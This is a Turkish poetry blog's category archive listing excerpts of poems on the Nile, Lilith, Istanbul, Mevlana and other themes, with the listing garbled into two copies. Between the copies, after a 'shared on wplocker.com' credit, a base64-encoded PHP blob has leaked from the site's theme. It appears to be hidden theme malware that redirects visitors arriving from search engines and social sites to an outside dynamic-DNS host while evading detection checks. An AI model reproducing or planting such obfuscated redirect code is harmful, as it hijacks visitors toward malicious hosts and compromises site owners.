Kategori Arşivi: Şiir

NİL SEVDASI

nil sevdası dolunay zamanı, yitik gece -küskün tan kızılı uyandı güneş, yıldız kaydı yer sevi- gök sevdam, aşkın kutbu geleceği belirleyen geleneğin gücü yanık aç-açık, yoksul ve mutlu ve kara afrika’nın efendisi sevda ve siyahlar ülkesi göğe ve çöle şiir yazan yaşamın can suyu nil sema gül dikeni kanar afrika’nın gözyaşı şişesi nil kaynağına-umuda akar yan yana, yana yana dönerler ... Devamını Oku »

LİLİTH TABLETLERİ (Şiir) Seçkin kitapçılarda

lilith tabletleri (şiir) tablet bir sonsuz ve zamansız  bir düşistan’da ben ki evrenin ilk yaratıcısı ulu tanrı sen ki cennetten kovulan ilk yaratık tablete kazılı ilk aşk-ilk günah lilith ilk bostan sulandı baştan çıkardı adem’i bana düşman kıldı melek değil o bir hardı yandı adem demlendi sol kaburgası nemlendi esrik havva, havasını aldı havva’dan önce lilith vardı tutkulu ses ve ... Devamını Oku »

GÜNÜN ŞİİRİ

            üç ağaç tableti   barış ve sevinin mayası, zeytin dalı yaşamın kök boyası, hurma balı üç günahkar sunum: sevi ağacı çileli ardıç dip kayaya tutunur beyaz kavak yaprak yaprak  kitap olur okunur  salkım söğüt üzüm taşır  kirkit şakır, al kilim dokur  şarap olur kadehi doldurur  ulu şair, asırlık çınar gövdesi  özgür-içsel gölgesinde kutsanır semahta al ... Devamını Oku »

İSTANBUL

ve istanbul ve yedi iklim, yedi gölge, yedi tepe düşlerin buluştuğu yerde sere serpe ve krallar, padişahlar, haramiler, yediler istanbul’u açkediler, yediler bitiremediler ve gönlümde gonca, coşkulu ırmak, şelale laleler, laleler, hane hane, istanbul lale ve çiçeklerin baş tacı, güzelin ilk ilacı lale ruhların raksında döne döne, bak son hale ve yitip gidenler ardından, uyur-gezer çiçek yağmurdan önce gel, bir ... Devamını Oku »

MEVLANA

mevlana karamanoğlu deli dervişiz                                                                                                                                                                                         niğ-deliı neyzen                                                                                                                                                                                         aşka ve barışa                                                                                                                                                                                               dönmekteyiz yanmaktayız semahtayız ah zikirde ahu dans mevla semadayız aydayız sonsuz ve zamansız hiçlikte ve yoklukta varız varsıl bereketli sebil dirildik tek bedende ney öteki ve ben yok biziz hu ben’in ve nefsin eridiği biriz merkezinde dünyanın ahenk içindeyiz yitik zamanda kirmen döner başım döner son nefeste mum söndü öptükçe ağladı ... Devamını Oku »

FİDEL AĞLADI

fidel ağladı che – fidel venseremos ağlamak-gülmek akıllı hınçtı bizimkisi ata izi-vatan ya da ölüm sevi ve barış ağacı resmi karayiplerin melez prensesi ışık ekininde yoksul ve mutlu havanda havada-havana purosu asi şeker kamışı tılsımlı ve sihirli özgürlük yelesi sadakat prensi bitiş ve başlangıcın dingin sesi yitik bir masal-ütopya değil bu bizim fidel’in öyküsü sarı afrika’nın kara yazgısı akbaba yemi sudanlı ... Devamını Oku »

ATEŞLİ AL ATLAR

sonsuz düşler şölenindeyim sevgim sebil yıldız ektim sen bittin sırdaş yeni yılda başka şafaklarda mümkünsüz uzaklık sevdamda yaşayan deli yürekli yazgı hep ağlarım uykusunda yanardağın taç yaprağın ıslak koynunda damla kırlangıç tutsak boynunda boncuk eski kırmızı büyülü gelincik ağla başımda ipek kar beyazı ey uzak yüzüm güneşe dönük kutsal başak sarı dünya döner başım bir tütün yak deliler kutbunda seyirlik ... Devamını Oku »

Beyağıl’ın beyleri “aksakal bilge derviş”

Peki; sılayı gurbete bağlayan trene sırtını dönmüş Ulukışla’yı sollayan; “Olgun ve nurlu bilgeler ordusu” karargahı; okuyanı, yazanı ve gezeni ile ünlü; 12 bin yılldır Güneş’i ilk öpen Çatal Kale’yi yurt tutmuş Beyağıl’da “SEVGİ SEBİL” mi? beyağıl atalarımız yaşıyordu, biz yokken torunlar yaşayacak, biz yokken bizle yaşam hoş, emek bereketli öz sularımız coşkulu, çağıl çağıl dağlar, yıldızlar, yüreğimiz kenetli sonsuza uzanır ... Devamını Oku »

onlar hep böyleydi (çocuklar öldürülmesin, şeker de yiyebilsinler…)

onlar hep böyleydi  onlar hep böyleydi önce güneşe kerkinip bildik tarihin ırzına geçtiler ipeği baharatı yollara saçtılar yolunu mu değiştirdi kırlangıç telgrafın tellerinde telli turna kırık düşler-kuru göl balığı açık maviyi yaktılar gökte donuk kara gözler açtılar  onlar hep böyleydi şafağa ölü suyu serptiler suyunda acımadı yüzleri su yandı toprak kanadı suya ve toprağa açtılar açlıktan ölen çocuklara ekmek su ... Devamını Oku »

SARIKAMIŞ -Doksanbeşe doğru- (1893 Kafkas Tableti)

 zemheri kuşları da döndü ateşgahandı  ve kayıp kuşlar semah ve semada doksan üç harbinde  yanay yana, söndüler değildi turnalar zamanı sarıkamış kars’a bakar ezeli kafkaslı bir kız sevdim azeri çil keklik seker, buzda kayar şeyh şamil, kılıç kalkan döndü ağrı yüzü gülbeyaz, ocak söndü titreyen çıngı küheylan ve enver  ölümle koklaş ve gözleri seğridi  ipek ovalar, bir kamış boyu kar  dağlar ... Devamını Oku »

shared on wplocker.comdGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4wIikgYW5kICFzdHJpc3RyKCR1YWcsIk1TSUUgNi4wIikpewppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tL2wiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsKaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIGFuZCAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsIkVlWXAzRDciKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9tbnNiZm9hLmRkbnMubWUudWsvIik7CmV4aXQoKTsKfQp9Cn0KfQp9")); tie_breadcrumbs() ?>

Kategori Arşivi: Şiir

NİL SEVDASI

nil sevdası dolunay zamanı, yitik gece -küskün tan kızılı uyandı güneş, yıldız kaydı yer sevi- gök sevdam, aşkın kutbu geleceği belirleyen geleneğin gücü yanık aç-açık, yoksul ve mutlu ve kara afrika’nın efendisi sevda ve siyahlar ülkesi göğe ve çöle şiir yazan yaşamın can suyu nil sema gül dikeni kanar afrika’nın gözyaşı şişesi nil kaynağına-umuda akar yan yana, yana yana dönerler ... Devamını Oku »

LİLİTH TABLETLERİ (Şiir) Seçkin kitapçılarda

lilith tabletleri (şiir) tablet bir sonsuz ve zamansız  bir düşistan’da ben ki evrenin ilk yaratıcısı ulu tanrı sen ki cennetten kovulan ilk yaratık tablete kazılı ilk aşk-ilk günah lilith ilk bostan sulandı baştan çıkardı adem’i bana düşman kıldı melek değil o bir hardı yandı adem demlendi sol kaburgası nemlendi esrik havva, havasını aldı havva’dan önce lilith vardı tutkulu ses ve ... Devamını Oku »

GÜNÜN ŞİİRİ

            üç ağaç tableti   barış ve sevinin mayası, zeytin dalı yaşamın kök boyası, hurma balı üç günahkar sunum: sevi ağacı çileli ardıç dip kayaya tutunur beyaz kavak yaprak yaprak  kitap olur okunur  salkım söğüt üzüm taşır  kirkit şakır, al kilim dokur  şarap olur kadehi doldurur  ulu şair, asırlık çınar gövdesi  özgür-içsel gölgesinde kutsanır semahta al ... Devamını Oku »

İSTANBUL

ve istanbul ve yedi iklim, yedi gölge, yedi tepe düşlerin buluştuğu yerde sere serpe ve krallar, padişahlar, haramiler, yediler istanbul’u açkediler, yediler bitiremediler ve gönlümde gonca, coşkulu ırmak, şelale laleler, laleler, hane hane, istanbul lale ve çiçeklerin baş tacı, güzelin ilk ilacı lale ruhların raksında döne döne, bak son hale ve yitip gidenler ardından, uyur-gezer çiçek yağmurdan önce gel, bir ... Devamını Oku »

MEVLANA

mevlana karamanoğlu deli dervişiz                                                                                                                                                                                         niğ-deliı neyzen                                                                                                                                                                                         aşka ve barışa                                                                                                                                                                                               dönmekteyiz yanmaktayız semahtayız ah zikirde ahu dans mevla semadayız aydayız sonsuz ve zamansız hiçlikte ve yoklukta varız varsıl bereketli sebil dirildik tek bedende ney öteki ve ben yok biziz hu ben’in ve nefsin eridiği biriz merkezinde dünyanın ahenk içindeyiz yitik zamanda kirmen döner başım döner son nefeste mum söndü öptükçe ağladı ... Devamını Oku »

FİDEL AĞLADI

fidel ağladı che – fidel venseremos ağlamak-gülmek akıllı hınçtı bizimkisi ata izi-vatan ya da ölüm sevi ve barış ağacı resmi karayiplerin melez prensesi ışık ekininde yoksul ve mutlu havanda havada-havana purosu asi şeker kamışı tılsımlı ve sihirli özgürlük yelesi sadakat prensi bitiş ve başlangıcın dingin sesi yitik bir masal-ütopya değil bu bizim fidel’in öyküsü sarı afrika’nın kara yazgısı akbaba yemi sudanlı ... Devamını Oku »

ATEŞLİ AL ATLAR

sonsuz düşler şölenindeyim sevgim sebil yıldız ektim sen bittin sırdaş yeni yılda başka şafaklarda mümkünsüz uzaklık sevdamda yaşayan deli yürekli yazgı hep ağlarım uykusunda yanardağın taç yaprağın ıslak koynunda damla kırlangıç tutsak boynunda boncuk eski kırmızı büyülü gelincik ağla başımda ipek kar beyazı ey uzak yüzüm güneşe dönük kutsal başak sarı dünya döner başım bir tütün yak deliler kutbunda seyirlik ... Devamını Oku »

Beyağıl’ın beyleri “aksakal bilge derviş”

Peki; sılayı gurbete bağlayan trene sırtını dönmüş Ulukışla’yı sollayan; “Olgun ve nurlu bilgeler ordusu” karargahı; okuyanı, yazanı ve gezeni ile ünlü; 12 bin yılldır Güneş’i ilk öpen Çatal Kale’yi yurt tutmuş Beyağıl’da “SEVGİ SEBİL” mi? beyağıl atalarımız yaşıyordu, biz yokken torunlar yaşayacak, biz yokken bizle yaşam hoş, emek bereketli öz sularımız coşkulu, çağıl çağıl dağlar, yıldızlar, yüreğimiz kenetli sonsuza uzanır ... Devamını Oku »

onlar hep böyleydi (çocuklar öldürülmesin, şeker de yiyebilsinler…)

onlar hep böyleydi  onlar hep böyleydi önce güneşe kerkinip bildik tarihin ırzına geçtiler ipeği baharatı yollara saçtılar yolunu mu değiştirdi kırlangıç telgrafın tellerinde telli turna kırık düşler-kuru göl balığı açık maviyi yaktılar gökte donuk kara gözler açtılar  onlar hep böyleydi şafağa ölü suyu serptiler suyunda acımadı yüzleri su yandı toprak kanadı suya ve toprağa açtılar açlıktan ölen çocuklara ekmek su ... Devamını Oku »

SARIKAMIŞ -Doksanbeşe doğru- (1893 Kafkas Tableti)

 zemheri kuşları da döndü ateşgahandı  ve kayıp kuşlar semah ve semada doksan üç harbinde  yanay yana, söndüler değildi turnalar zamanı sarıkamış kars’a bakar ezeli kafkaslı bir kız sevdim azeri çil keklik seker, buzda kayar şeyh şamil, kılıç kalkan döndü ağrı yüzü gülbeyaz, ocak söndü titreyen çıngı küheylan ve enver  ölümle koklaş ve gözleri seğridi  ipek ovalar, bir kamış boyu kar  dağlar ... Devamını Oku »